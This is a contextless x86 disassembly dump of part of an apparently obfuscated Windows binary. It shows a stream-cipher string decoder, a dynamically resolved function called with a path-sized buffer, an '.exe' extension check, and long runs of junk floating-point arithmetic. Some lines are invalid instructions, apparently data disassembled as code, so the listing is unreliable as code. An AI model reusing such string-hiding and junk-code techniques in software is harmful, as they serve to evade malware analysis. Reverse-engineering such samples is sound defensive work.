divsd xmm0, qword [ebp - 0x78c]
movsd qword [ebp - 0x8c4], xmm0
movsd xmm0, qword [ebp - 0x808]
addsd xmm0, qword [ebp - 0x830]
movsd qword [ebp - 0x808], xmm0
movsd xmm0, qword [ebp - 0x830]
subsd xmm0, qword [ebp - 0x7bc]
movsd qword [ebp - 0x830], xmm0
mov eax, dword [ebp - 0x6ec]
shl eax, 4
mov dword [ebp - 0x728], eax
mov eax, dword [ebp - 0x6f0]
mov dword [ebp - 0x72c], eax
mov eax, dword [ebp - 0x728]
or eax, dword [ebp - 0x72c]
mov dword [ebp - 0x730], eax
mov al, byte [ebp - 0x730]
mov byte [ebp - 0x4cc], al
movzx eax, byte [ebp - 0x4be]
mov al, byte [ebp + eax - 0xe48]
mov byte [ebp - 0x4cb], al
movzx eax, byte [ebp - 0x4b6]
movzx eax, byte [ebp + eax - 0xe48]
movzx ecx, byte [ebp - 0x4ba]
add ecx, eax
mov byte [ebp - 0x4ba], cl
mov al, byte [ebp - 0x4b6]
add al, 1
mov byte [ebp - 0x4b6], al
movzx eax, byte [ebp - 0x4ba]
movzx ecx, byte [ebp - 0x4be]
mov al, byte [ebp + eax - 0xe48]
mov byte [ebp + ecx - 0xe48], al
movzx eax, byte [ebp - 0x4b9]
movzx ecx, byte [ebp - 0x4ba]
mov al, byte [ebp + eax - 0xe48]
mov byte [ebp + ecx - 0xe48], al
movzx eax, byte [ebp - 0x4b6]
movzx ecx, byte [ebp - 0x4b9]
mov al, byte [ebp + eax - 0xe48]
mov byte [ebp + ecx - 0xe48], al
movzx eax, byte [ebp - 0x4b6]
mov cl, byte [ebp - 0x4cb]
mov byte [ebp + eax - 0xe48], cl
movzx eax, byte [ebp - 0x4cb]
movzx eax, byte [ebp + eax - 0xe48]
movzx ecx, byte [ebp - 0x4cd]
add ecx, eax
mov byte [ebp - 0x4cd], cl
movzx eax, byte [ebp - 0x4cc]
movzx ecx, byte [ebp - 0x4ba]
movzx ecx, byte [ebp + ecx - 0xe48]
movzx edx, byte [ebp - 0x4b6]
movzx edx, byte [ebp + edx - 0xe48]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xe48]
xor eax, ecx
movzx ecx, byte [ebp - 0x4b9]
movzx ecx, byte [ebp + ecx - 0xe48]
movzx edx, byte [ebp - 0x4be]
movzx edx, byte [ebp + edx - 0xe48]
add ecx, edx
movzx edx, byte [ebp - 0x4cd]
movzx edx, byte [ebp + edx - 0xe48]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xe48]
movzx ecx, byte [ebp + ecx - 0xe48]
xor eax, ecx
mov byte [ebp - 0x4b9], al
mov al, byte [ebp - 0x4cc]
mov byte [ebp - 0x4be], al
mov al, byte [ebp - 0x4b9]
mov byte [ebp - 0x4dd], al
cmp dword [ebp - 0x500], 0
jle 0x5694e7
mov eax, dword [ebp - 0x500]
mov cl, byte [ebp - 0x4dd]
mov byte [ebp + eax - 0x4d], cl
mov eax, dword [ebp - 0x5ac]
add eax, 9
mov dword [ebp - 0x5ac], eax
mov eax, dword [ebp - 0x500]
inc eax
mov dword [ebp - 0x89c], eax
jmp 0x569512
mov eax, dword [ebp - 0x89c]
inc eax
mov dword [ebp - 0x89c], eax
mov eax, dword [ebp - 0x89c]
cmp eax, dword [ebp - 0x5ac]
jge 0x56976c
mov eax, dword [ebp - 0x500]
inc eax
mov dword [ebp - 0x500], eax
mov eax, dword [ebp - 0x500]
shl eax, 1
mov dword [ebp - 0x71c], eax
mov eax, dword [ebp - 0x720]
add eax, dword [ebp - 0x71c]
movzx eax, byte [eax]
mov dword [ebp - 0x70c], eax
mov dword [ebp - 0x6f4], 0xb4
mov eax, dword [ebp - 0x500]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x724], eax
mov eax, dword [ebp - 0x720]
add eax, dword [ebp - 0x724]
movzx eax, byte [eax]
mov dword [ebp - 0x708], eax
mov dword [ebp - 0x6e8], 0xb4
mov eax, dword [ebp - 0x70c]
sub eax, dword [ebp - 0x6f4]
mov dword [ebp - 0x6ec], eax
mov eax, dword [ebp - 0x708]
sub eax, dword [ebp - 0x6e8]
mov dword [ebp - 0x6f0], eax
mov eax, dword [ebp - 0x6ec]
shl eax, 4
mov dword [ebp - 0x728], eax
mov eax, dword [ebp - 0x6f0]
mov dword [ebp - 0x72c], eax
mov eax, dword [ebp - 0x728]
or eax, dword [ebp - 0x72c]
mov dword [ebp - 0x730], eax
mov al, byte [ebp - 0x730]
mov byte [ebp - 0x4cc], al
movzx eax, byte [ebp - 0x4be]
mov al, byte [ebp + eax - 0xe48]
mov byte [ebp - 0x4cb], al
movzx eax, byte [ebp - 0x4b6]
movzx eax, byte [ebp + eax - 0xe48]
movzx ecx, byte [ebp - 0x4ba]
add ecx, eax
mov byte [ebp - 0x4ba], cl
mov al, byte [ebp - 0x4b6]
add al, 1
mov byte [ebp - 0x4b6], al
movzx eax, byte [ebp - 0x4ba]
movzx ecx, byte [ebp - 0x4be]
mov al, byte [ebp + eax - 0xe48]
mov byte [ebp + ecx - 0xe48], al
movzx eax, byte [ebp - 0x4b9]
movzx ecx, byte [ebp - 0x4ba]
mov al, byte [ebp + eax - 0xe48]
mov byte [ebp + ecx - 0xe48], al
movzx eax, byte [ebp - 0x4b6]
movzx ecx, byte [ebp - 0x4b9]
mov al, byte [ebp + eax - 0xe48]
mov byte [ebp + ecx - 0xe48], al
movzx eax, byte [ebp - 0x4b6]
mov cl, byte [ebp - 0x4cb]
mov byte [ebp + eax - 0xe48], cl
movzx eax, byte [ebp - 0x4cb]
movzx eax, byte [ebp + eax - 0xe48]
movzx ecx, byte [ebp - 0x4cd]
add ecx, eax
mov byte [ebp - 0x4cd], cl
movzx eax, byte [ebp - 0x4cc]
movzx ecx, byte [ebp - 0x4ba]
movzx ecx, byte [ebp + ecx - 0xe48]
movzx edx, byte [ebp - 0x4b6]
movzx edx, byte [ebp + edx - 0xe48]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xe48]
xor eax, ecx
movzx ecx, byte [ebp - 0x4b9]
movzx ecx, byte [ebp + ecx - 0xe48]
movzx edx, byte [ebp - 0x4be]
movzx edx, byte [ebp + edx - 0xe48]
add ecx, edx
movzx edx, byte [ebp - 0x4cd]
movzx edx, byte [ebp + edx - 0xe48]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xe48]
movzx ecx, byte [ebp + ecx - 0xe48]
xor eax, ecx
mov byte [ebp - 0x4b9], al
mov al, byte [ebp - 0x4cc]
mov byte [ebp - 0x4be], al
mov al, byte [ebp - 0x4b9]
mov byte [ebp - 0x4dd], al
cmp dword [ebp - 0x500], 0
jle 0x569767
mov eax, dword [ebp - 0x500]
mov cl, byte [ebp - 0x4dd]
mov byte [ebp + eax - 0x4d], cl
jmp 0x569505
mov eax, dword [ebp - 0x5ac]
inc eax
mov dword [ebp - 0x5ac], eax
xor eax, eax
inc eax
imul eax, eax, 0x12
mov dword [ebp - 0x900], eax
cmp dword [ebp - 0x900], 0x13
jae 0x569790
jmp 0x569795
call fcn.009ec5b7
mov eax, dword [ebp - 0x900]
mov byte [ebp + eax - 0x4c], 0
jmp 0x5697ea
and dword [ebp - 0x824], 0
jmp 0x5697b8
mov eax, dword [ebp - 0x824]
inc eax
mov dword [ebp - 0x824], eax
cmp dword [ebp - 0x824], 0x13
jge 0x5697ea
mov eax, dword [ebp - 0x824]
mov dword [ebp - 0x8fc], eax
cmp dword [ebp - 0x8fc], 0x13
jae 0x5697d8
jmp 0x5697dd
call fcn.009ec5b7
mov eax, dword [ebp - 0x8fc]
mov byte [ebp + eax - 0x4c], 0
jmp 0x5697ab
lea eax, [ebp - 0x4c]
push eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x48]
call fcn.00490aa0
mov dword [ebp - 0xa0c], eax
push 0x104
lea eax, [ebp - 0x474]
push eax
push 0
call dword [ebp - 0xa0c]
test eax, eax
je 0x570b7c
push 0x208
push 0
lea eax, [ebp - 0x26c]
push eax
call fcn.00a3d5c0
add esp, 0xc
lea eax, [ebp - 0x474]
mov dword [ebp - 0x898], eax
lea eax, [ebp - 0x26c]
mov dword [ebp - 0x820], eax
mov eax, dword [ebp - 0x820]
mov dword [ebp - 0xe4c], eax
mov eax, dword [ebp - 0x898]
mov ax, word [eax]
mov word [ebp - 0x7da], ax
mov eax, dword [ebp - 0x820]
mov cx, word [ebp - 0x7da]
mov word [eax], cx
mov eax, dword [ebp - 0x898]
inc eax
inc eax
mov dword [ebp - 0x898], eax
mov eax, dword [ebp - 0x820]
inc eax
inc eax
mov dword [ebp - 0x820], eax
cmp word [ebp - 0x7da], 0
jne 0x569855
push 0x2e
lea eax, [ebp - 0x26c]
push eax
call fcn.00578d55
pop ecx
pop ecx
mov dword [ebp - 0x890], eax
push 2
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x890]
movzx eax, word [ecx + eax]
cmp eax, 0x78
jne 0x5698de
push 2
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x890]
movzx eax, word [ecx + eax]
cmp eax, 0x65
je 0x56b458
and dword [ebp - 0x4a0], 0
and dword [ebp - 0x4a4], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x810], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x7b4], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x7b4], xmm0
jmp 0x569927
movsd xmm0, qword [ebp - 0x7b4]
addsd xmm0, qword [0xa68340]
movsd qword [ebp - 0x7b4], xmm0
movsd xmm0, qword [0xa6ca08]
comisd xmm0, xmmword [ebp - 0x7b4]
jbe 0x5699d8
movsd xmm0, qword [0xa6c9c8]
mulsd xmm0, qword [ebp - 0x7b4]
mulsd xmm0, qword [ebp - 0x7b4]
movsd xmm1, qword [ebp - 0x7b4]
mulsd xmm1, qword [ebp - 0x7b4]
subsd xmm0, xmm1
movsd xmm1, qword [0xa6c928]
mulsd xmm1, qword [ebp - 0x7b4]
mulsd xmm1, qword [ebp - 0x7b4]
addsd xmm1, qword [0xa6c950]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x810]
movsd qword [ebp - 0x810], xmm0
movsd xmm0, qword [ebp - 0x810]
comisd xmm0, xmmword [0xa6c990]
jbe 0x5699d3
movsd xmm0, qword [0xa6c910]
mulsd xmm0, qword [ebp - 0x7b4]
movsd xmm1, qword [ebp - 0x810]
subsd xmm1, xmm0
movsd qword [ebp - 0x810], xmm1
jmp 0x56990f
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x810]
jbe 0x569a0e
sub word [esi + 0x68], sp
and dword [eax + 0x2a], esi
jno 0x569a1a
push ebp
js 0x569a14
push esp
dec ecx
and dword [ebx + 0x38], esi
pushal
dec edx
bound ecx, qword [edx + 0x72]
arpl word [edx], sp
cmp byte [eax], bh
inc edi
inc esi
push ebx
xor al, 0x31
inc eax
jno 0x569a58
cmp al, 0xe9
ja 0x569a25
add byte [eax], al
mov dword [ebp - 0x4a0], 0x5699e5
mov dword [ebp - 0x4a4], 0x5699ef
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x6e0], eax
mov eax, dword [ebp - 0x4a4]
mov dword [ebp - 0xa14], eax
mov byte [ebp - 0x64d], 0x1e
and dword [ebp - 0x534], 0
jmp 0x569a57
in eax, 0x99
push esi
add bh, al
test dword [ebx + edi*8 - 1], ebx
invalid
pop esp
sti
invalid
sti
invalid
mov eax, dword [ebp - 0x534]
inc eax
mov dword [ebp - 0x534], eax
cmp dword [ebp - 0x534], 0x100
mov ebp, 0xfffffacc
add byte [ecx], al
add byte [eax], al
jae 0x569a78
mov eax, dword [ebp - 0x534]
mov cl, byte [ebp - 0x534]
mov byte [ebp + eax - 0xc48], cl
jmp 0x569a4a
and dword [ebp - 0x774], 0
mov byte [ebp - 0x4c7], 0
mov dword [ebp - 0x534], 0xff
jmp 0x569a9f
mov eax, dword [ebp - 0x534]
dec eax
mov dword [ebp - 0x534], eax
cmp dword [ebp - 0x534], 0
jbe 0x569d24
and dword [ebp - 0x894], 0
mov dword [ebp - 0x81c], 1
mov eax, dword [ebp - 0x81c]
cmp eax, dword [ebp - 0x534]
jae 0x569add
mov eax, dword [ebp - 0x81c]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x81c], eax
jmp 0x569abd
mov eax, dword [ebp - 0x774]
mov dword [ebp - 0xa10], eax
mov eax, dword [ebp - 0xa10]
mov dword [ebp - 0x60c], eax
cmp dword [ebp - 0x60c], 0
je 0x569b22
sub dword [ebp - 0x60c], 1
je 0x569b50
sub dword [ebp - 0x60c], 1
je 0x569b81
sub dword [ebp - 0x60c], 1
je 0x569baf
jmp 0x569bdd
movzx eax, byte [ebp - 0x4c7]
movzx ebx, byte [ebp + eax - 0xc48]
movsd xmm0, qword [ebp - 0x810]
call fcn.009eca90
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x4c7], bl
jmp 0x569c04
movzx eax, byte [ebp - 0x4c7]
movzx ebx, byte [ebp + eax - 0xc48]
movsd xmm0, qword [ebp - 0x810]
call fcn.009eca90
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x4c7], bl
jmp 0x569c04
movzx eax, byte [ebp - 0x4c7]
movzx ebx, byte [ebp + eax - 0xc48]
movsd xmm0, qword [ebp - 0x810]
call fcn.009eca90
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x4c7], bl
jmp 0x569c04
movzx eax, byte [ebp - 0x4c7]
movzx ebx, byte [ebp + eax - 0xc48]
movsd xmm0, qword [ebp - 0x810]
call fcn.009eca90
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x4c7], bl
jmp 0x569c04
movzx eax, byte [ebp - 0x4c7]
movzx eax, byte [ebp + eax - 0xc48]
mov ecx, dword [ebp - 0xa14]
add ecx, dword [ebp - 0x774]
movzx ecx, byte [ecx - 4]
add eax, ecx
mov byte [ebp - 0x4c7], al
mov eax, dword [ebp - 0x774]
inc eax
mov dword [ebp - 0x774], eax
movzx eax, byte [ebp - 0x64d]
cmp dword [ebp - 0x774], eax
jb 0x569c3d
and dword [ebp - 0x774], 0
movzx eax, byte [ebp - 0x64d]
movzx ecx, byte [ebp - 0x4c7]
add ecx, eax
mov byte [ebp - 0x4c7], cl
movzx eax, byte [ebp - 0x4c7]
and eax, dword [ebp - 0x81c]
mov dword [ebp - 0x734], eax
mov eax, dword [ebp - 0x894]
inc eax
mov dword [ebp - 0x894], eax
cmp dword [ebp - 0x894], 0xb
jbe 0x569c7a
mov eax, dword [ebp - 0x734]
xor edx, edx
div dword [ebp - 0x534]
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0x534]
ja 0x569add
mov eax, dword [ebp - 0x534]
cmp eax, dword [ebp - 0x734]
je 0x569d1f
mov eax, dword [ebp - 0x734]
movzx eax, byte [ebp + eax - 0xc48]
mov ecx, dword [ebp - 0x534]
movzx ecx, byte [ebp + ecx - 0xc48]
xor ecx, eax
mov eax, dword [ebp - 0x534]
mov byte [ebp + eax - 0xc48], cl
mov eax, dword [ebp - 0x534]
movzx eax, byte [ebp + eax - 0xc48]
mov ecx, dword [ebp - 0x734]
movzx ecx, byte [ebp + ecx - 0xc48]
xor ecx, eax
mov eax, dword [ebp - 0x734]
mov byte [ebp + eax - 0xc48], cl
mov eax, dword [ebp - 0x734]
movzx eax, byte [ebp + eax - 0xc48]
mov ecx, dword [ebp - 0x534]
movzx ecx, byte [ebp + ecx - 0xc48]
xor ecx, eax
mov eax, dword [ebp - 0x534]
mov byte [ebp + eax - 0xc48], cl
jmp 0x569a92
xor eax, eax
inc eax
shl eax, 0
mov al, byte [ebp + eax - 0xc48]
mov byte [ebp - 0x4aa], al
xor eax, eax
inc eax
imul eax, eax, 3
mov al, byte [ebp + eax - 0xc48]
mov byte [ebp - 0x4ae], al
xor eax, eax
inc eax
imul eax, eax, 5
mov al, byte [ebp + eax - 0xc48]
mov byte [ebp - 0x4c3], al
movss xmm0, dword [0xa6ccd8]
movss dword [ebp - 0x5b0], xmm0
movss xmm0, dword [0xa6ccc0]
movss dword [ebp - 0x7d0], xmm0
movss xmm0, dword [0xa6cc88]
movss dword [ebp - 0x6a8], xmm0
movss xmm0, dword [0xa6cc50]
movss dword [ebp - 0x778], xmm0
movss xmm0, dword [0xa6cc10]
movss dword [ebp - 0x610], xmm0
movss xmm0, dword [ebp - 0x778]
mulss xmm0, dword [ebp - 0x610]
movss dword [ebp - 0x778], xmm0
movss xmm0, dword [ebp - 0x7d0]
mulss xmm0, dword [ebp - 0x610]
movss dword [ebp - 0x7d0], xmm0
movss xmm0, dword [ebp - 0x5b0]
addss xmm0, dword [ebp - 0x610]
movss dword [ebp - 0x5b0], xmm0
movss xmm0, dword [ebp - 0x6a8]
mulss xmm0, dword [ebp - 0x610]
movss dword [ebp - 0x6a8], xmm0
movss xmm0, dword [ebp - 0x5b0]
subss xmm0, dword [ebp - 0x610]
movss dword [ebp - 0x5b0], xmm0
movss xmm0, dword [ebp - 0x610]
comiss xmm0, dword [ebp - 0x7d0]
jbe 0x569eb3
movss xmm0, dword [ebp - 0x610]
divss xmm0, dword [ebp - 0x7d0]
movss dword [ebp - 0x610], xmm0
movss xmm0, dword [ebp - 0x610]
subss xmm0, dword [ebp - 0x7d0]
movss dword [ebp - 0x610], xmm0
movss xmm0, dword [ebp - 0x5b0]
divss xmm0, dword [ebp - 0x6a8]
movss dword [ebp - 0x5b0], xmm0
movss xmm0, dword [ebp - 0x5b0]
mulss xmm0, dword [ebp - 0x6a8]
movss dword [ebp - 0x5b0], xmm0
movss xmm0, dword [ebp - 0x6a8]
divss xmm0, dword [ebp - 0x610]
movss dword [ebp - 0x6a8], xmm0
jmp 0x569f3e
movss xmm0, dword [ebp - 0x5b0]
subss xmm0, dword [ebp - 0x6a8]
movss dword [ebp - 0x5b0], xmm0
movss xmm0, dword [ebp - 0x6a8]
addss xmm0, dword [ebp - 0x610]
movss dword [ebp - 0x6a8], xmm0
movss xmm0, dword [ebp - 0x778]
addss xmm0, dword [ebp - 0x5b0]
movss dword [ebp - 0x778], xmm0
movss xmm0, dword [ebp - 0x778]
subss xmm0, dword [ebp - 0x5b0]
movss dword [ebp - 0x778], xmm0
movss xmm0, dword [ebp - 0x5b0]
mulss xmm0, dword [ebp - 0x6a8]
movss dword [ebp - 0x5b0], xmm0
xor eax, eax
inc eax
imul eax, eax, 7
mov al, byte [ebp + eax - 0xc48]
mov byte [ebp - 0x4b1], al
movzx eax, byte [ebp - 0x4c7]
mov al, byte [ebp + eax - 0xc48]
mov byte [ebp - 0x4b8], al
mov dword [ebp - 0x8f8], 0xa
cmp dword [ebp - 0x8f8], 2
jle 0x56b339
mov eax, dword [ebp - 0x8f8]
and eax, 1
jne 0x56b339
and dword [ebp - 0x4e8], 0
and dword [ebp - 0x6a4], 0
mov eax, dword [ebp - 0x6a4]
inc eax
mov dword [ebp - 0x6a4], eax
and dword [ebp - 0x6e4], 0
mov eax, dword [ebp - 0x4e8]
shl eax, 1
mov dword [ebp - 0x6e4], eax
and dword [ebp - 0x68c], 0
mov eax, dword [ebp - 0x6e0]
add eax, dword [ebp - 0x6e4]
movzx eax, byte [eax]
add eax, dword [ebp - 0x68c]
mov dword [ebp - 0x68c], eax
and dword [ebp - 0x690], 0
mov eax, dword [ebp - 0x690]
add eax, 0x63
mov dword [ebp - 0x690], eax
and dword [ebp - 0x6dc], 0
mov eax, dword [ebp - 0x4e8]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x6dc], eax
and dword [ebp - 0x654], 0
mov eax, dword [ebp - 0x6e0]
add eax, dword [ebp - 0x6dc]
movzx eax, byte [eax]
add eax, dword [ebp - 0x654]
mov dword [ebp - 0x654], eax
and dword [ebp - 0x658], 0
mov eax, dword [ebp - 0x658]
add eax, 0x21
mov dword [ebp - 0x658], eax
and dword [ebp - 0x65c], 0
mov eax, dword [ebp - 0x68c]
sub eax, dword [ebp - 0x690]
add eax, dword [ebp - 0x65c]
mov dword [ebp - 0x65c], eax
and dword [ebp - 0x660], 0
mov eax, dword [ebp - 0x654]
sub eax, dword [ebp - 0x658]
add eax, dword [ebp - 0x660]
mov dword [ebp - 0x660], eax
and dword [ebp - 0x6d0], 0
mov eax, dword [ebp - 0x65c]
shl eax, 4
mov dword [ebp - 0x6d0], eax
and dword [ebp - 0x6cc], 0
mov eax, dword [ebp - 0x660]
mov dword [ebp - 0x6cc], eax
and dword [ebp - 0x6c8], 0
mov eax, dword [ebp - 0x6d0]
or eax, dword [ebp - 0x6cc]
mov dword [ebp - 0x6c8], eax
mov byte [ebp - 0x4c5], 0
mov al, byte [ebp - 0x6c8]
mov byte [ebp - 0x4c5], al
mov byte [ebp - 0x4c4], 0
movzx eax, byte [ebp - 0x4b8]
mov al, byte [ebp + eax - 0xc48]
mov byte [ebp - 0x4c4], al
movzx eax, byte [ebp - 0x4aa]
movzx eax, byte [ebp + eax - 0xc48]
movzx ecx, byte [ebp - 0x4ae]
add ecx, eax
mov byte [ebp - 0x4ae], cl
mov al, byte [ebp - 0x4aa]
add al, 1
mov byte [ebp - 0x4aa], al
movzx eax, byte [ebp - 0x4ae]
movzx ecx, byte [ebp - 0x4b8]
mov al, byte [ebp + eax - 0xc48]
mov byte [ebp + ecx - 0xc48], al
movzx eax, byte [ebp - 0x4b1]
movzx ecx, byte [ebp - 0x4ae]
mov al, byte [ebp + eax - 0xc48]
mov byte [ebp + ecx - 0xc48], al
movzx eax, byte [ebp - 0x4aa]
movzx ecx, byte [ebp - 0x4b1]
mov al, byte [ebp + eax - 0xc48]
mov byte [ebp + ecx - 0xc48], al
movzx eax, byte [ebp - 0x4aa]
mov cl, byte [ebp - 0x4c4]
mov byte [ebp + eax - 0xc48], cl
movzx eax, byte [ebp - 0x4c4]
movzx eax, byte [ebp + eax - 0xc48]
movzx ecx, byte [ebp - 0x4c3]
add ecx, eax
mov byte [ebp - 0x4c3], cl
movzx eax, byte [ebp - 0x4c5]
movzx ecx, byte [ebp - 0x4ae]
movzx ecx, byte [ebp + ecx - 0xc48]
movzx edx, byte [ebp - 0x4aa]
movzx edx, byte [ebp + edx - 0xc48]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xc48]
xor eax, ecx
movzx ecx, byte [ebp - 0x4b1]
movzx ecx, byte [ebp + ecx - 0xc48]
movzx edx, byte [ebp - 0x4b8]
movzx edx, byte [ebp + edx - 0xc48]
add ecx, edx
movzx edx, byte [ebp - 0x4c3]
movzx edx, byte [ebp + edx - 0xc48]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xc48]
movzx ecx, byte [ebp + ecx - 0xc48]
xor eax, ecx
mov byte [ebp - 0x4b1], al
mov al, byte [ebp - 0x4c5]
mov byte [ebp - 0x4b8], al
mov al, byte [ebp - 0x4b1]
mov byte [ebp - 0x4d6], al
cmp dword [ebp - 0x4e8], 0
jle 0x56a249
movsx ax, byte [ebp - 0x4d6]
mov ecx, dword [ebp - 0x4e8]
mov word [ebp + ecx*2 - 0x1e], ax
mov eax, dword [ebp - 0x4e8]
inc eax
mov dword [ebp - 0x4e8], eax
mov eax, dword [ebp - 0x6a4]
inc eax
mov dword [ebp - 0x6a4], eax
mov eax, dword [ebp - 0x4e8]
shl eax, 1
mov dword [ebp - 0x6e4], eax
mov eax, dword [ebp - 0x6e0]
add eax, dword [ebp - 0x6e4]
movzx eax, byte [eax]
mov dword [ebp - 0x68c], eax
mov dword [ebp - 0x690], 0x63
mov eax, dword [ebp - 0x4e8]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x6dc], eax
mov eax, dword [ebp - 0x6e0]
add eax, dword [ebp - 0x6dc]
movzx eax, byte [eax]
mov dword [ebp - 0x654], eax
mov dword [ebp - 0x658], 0x21
mov eax, dword [ebp - 0x68c]
sub eax, dword [ebp - 0x690]
mov dword [ebp - 0x65c], eax
mov eax, dword [ebp - 0x654]
sub eax, dword [ebp - 0x658]
mov dword [ebp - 0x660], eax
mov eax, dword [ebp - 0x65c]
shl eax, 4
mov dword [ebp - 0x6d0], eax
mov eax, dword [ebp - 0x660]
mov dword [ebp - 0x6cc], eax
mov eax, dword [ebp - 0x6d0]
or eax, dword [ebp - 0x6cc]
mov dword [ebp - 0x6c8], eax
mov al, byte [ebp - 0x6c8]
mov byte [ebp - 0x4c5], al
movzx eax, byte [ebp - 0x4b8]
mov al, byte [ebp + eax - 0xc48]
mov byte [ebp - 0x4c4], al
movzx eax, byte [ebp - 0x4aa]
movzx eax, byte [ebp + eax - 0xc48]
movzx ecx, byte [ebp - 0x4ae]
add ecx, eax
mov byte [ebp - 0x4ae], cl
mov al, byte [ebp - 0x4aa]
add al, 1
mov byte [ebp - 0x4aa], al
movzx eax, byte [ebp - 0x4ae]
movzx ecx, byte [ebp - 0x4b8]
mov al, byte [ebp + eax - 0xc48]
mov byte [ebp + ecx - 0xc48], al
movzx eax, byte [ebp - 0x4b1]
movzx ecx, byte [ebp - 0x4ae]
mov al, byte [ebp + eax - 0xc48]
mov byte [ebp + ecx - 0xc48], al
movzx eax, byte [ebp - 0x4aa]
movzx ecx, byte [ebp - 0x4b1]
mov al, byte [ebp + eax - 0xc48]
mov byte [ebp + ecx - 0xc48], al
movsd xmm0, qword [0xa6cbd8]
movsd qword [ebp - 0x5b8], xmm0
movsd xmm0, qword [0xa6b608]
movsd qword [ebp - 0x64c], xmm0
movsd xmm0, qword [0xa6cb20]
movsd qword [ebp - 0x568], xmm0
movsd xmm0, qword [0xa6cac0]
movsd qword [ebp - 0x5f4], xmm0
movsd xmm0, qword [0xa6ca28]
movsd qword [ebp - 0x59c], xmm0
movsd xmm0, qword [ebp - 0x568]
subsd xmm0, qword [ebp - 0x59c]
movsd qword [ebp - 0x568], xmm0
movsd xmm0, qword [ebp - 0x568]
mulsd xmm0, qword [ebp - 0x59c]
movsd qword [ebp - 0x568], xmm0
movsd xmm0, qword [ebp - 0x5b8]
mulsd xmm0, qword [ebp - 0x59c]
movsd qword [ebp - 0x5b8], xmm0
movsd xmm0, qword [ebp - 0x5f4]
mulsd xmm0, qword [ebp - 0x59c]
movsd qword [ebp - 0x5f4], xmm0
movsd xmm0, qword [ebp - 0x568]
addsd xmm0, qword [ebp - 0x59c]
movsd qword [ebp - 0x568], xmm0
movsd xmm0, qword [ebp - 0x59c]
comisd xmm0, xmmword [ebp - 0x5b8]
jbe 0x56a806
movsd xmm0, qword [ebp - 0x59c]
mulsd xmm0, qword [ebp - 0x64c]
movsd qword [ebp - 0x59c], xmm0
movsd xmm0, qword [ebp - 0x5f4]
divsd xmm0, qword [ebp - 0x5b8]
movsd qword [ebp - 0x5f4], xmm0
movsd xmm0, qword [ebp - 0x64c]
divsd xmm0, qword [ebp - 0x5f4]
movsd qword [ebp - 0x64c], xmm0
movsd xmm0, qword [ebp - 0x59c]
divsd xmm0, qword [ebp - 0x64c]
movsd qword [ebp - 0x59c], xmm0
movsd xmm0, qword [ebp - 0x5b8]
mulsd xmm0, qword [ebp - 0x568]
movsd qword [ebp - 0x5b8], xmm0
movsd xmm0, qword [ebp - 0x5b8]
addsd xmm0, qword [ebp - 0x64c]
movsd qword [ebp - 0x5b8], xmm0
movsd xmm0, qword [ebp - 0x5b8]
mulsd xmm0, qword [ebp - 0x64c]
movsd qword [ebp - 0x5b8], xmm0
movsd xmm0, qword [ebp - 0x568]
subsd xmm0, qword [ebp - 0x5f4]
movsd qword [ebp - 0x568], xmm0
movsd xmm0, qword [ebp - 0x5b8]
subsd xmm0, qword [ebp - 0x64c]
movsd qword [ebp - 0x5b8], xmm0
movsd xmm0, qword [ebp - 0x5f4]
addsd xmm0, qword [ebp - 0x59c]
movsd qword [ebp - 0x5f4], xmm0
movsd xmm0, qword [ebp - 0x568]
comisd xmm0, xmmword [ebp - 0x5b8]
jbe 0x56a60d
movsd xmm0, qword [ebp - 0x64c]
mulsd xmm0, qword [ebp - 0x5f4]
movsd qword [ebp - 0x64c], xmm0
movsd xmm0, qword [ebp - 0x5f4]
divsd xmm0, qword [ebp - 0x5b8]
movsd qword [ebp - 0x5f4], xmm0
movsd xmm0, qword [ebp - 0x5f4]
mulsd xmm0, qword [ebp - 0x5b8]
movsd qword [ebp - 0x5f4], xmm0
movsd xmm0, qword [ebp - 0x568]
divsd xmm0, qword [ebp - 0x59c]
movsd qword [ebp - 0x568], xmm0
movsd xmm0, qword [ebp - 0x64c]
subsd xmm0, qword [ebp - 0x5f4]
movsd qword [ebp - 0x64c], xmm0
jmp 0x56a801
movsd xmm0, qword [ebp - 0x568]
mulsd xmm0, qword [ebp - 0x5f4]
movsd qword [ebp - 0x568], xmm0
movsd xmm0, qword [ebp - 0x64c]
divsd xmm0, qword [ebp - 0x568]
movsd qword [ebp - 0x64c], xmm0
movsd xmm0, qword [ebp - 0x59c]
divsd xmm0, qword [ebp - 0x5b8]
movsd qword [ebp - 0x59c], xmm0
movsd xmm0, qword [ebp - 0x5b8]
subsd xmm0, qword [ebp - 0x64c]
movsd qword [ebp - 0x5b8], xmm0
movsd xmm0, qword [ebp - 0x59c]
addsd xmm0, qword [ebp - 0x5b8]
movsd qword [ebp - 0x59c], xmm0
movsd xmm0, qword [ebp - 0x59c]
mulsd xmm0, qword [ebp - 0x64c]
movsd qword [ebp - 0x59c], xmm0
movsd xmm0, qword [ebp - 0x568]
subsd xmm0, qword [ebp - 0x59c]
movsd qword [ebp - 0x568], xmm0
movsd xmm0, qword [ebp - 0x5b8]
divsd xmm0, qword [ebp - 0x568]
movsd qword [ebp - 0x5b8], xmm0
movsd xmm0, qword [ebp - 0x59c]
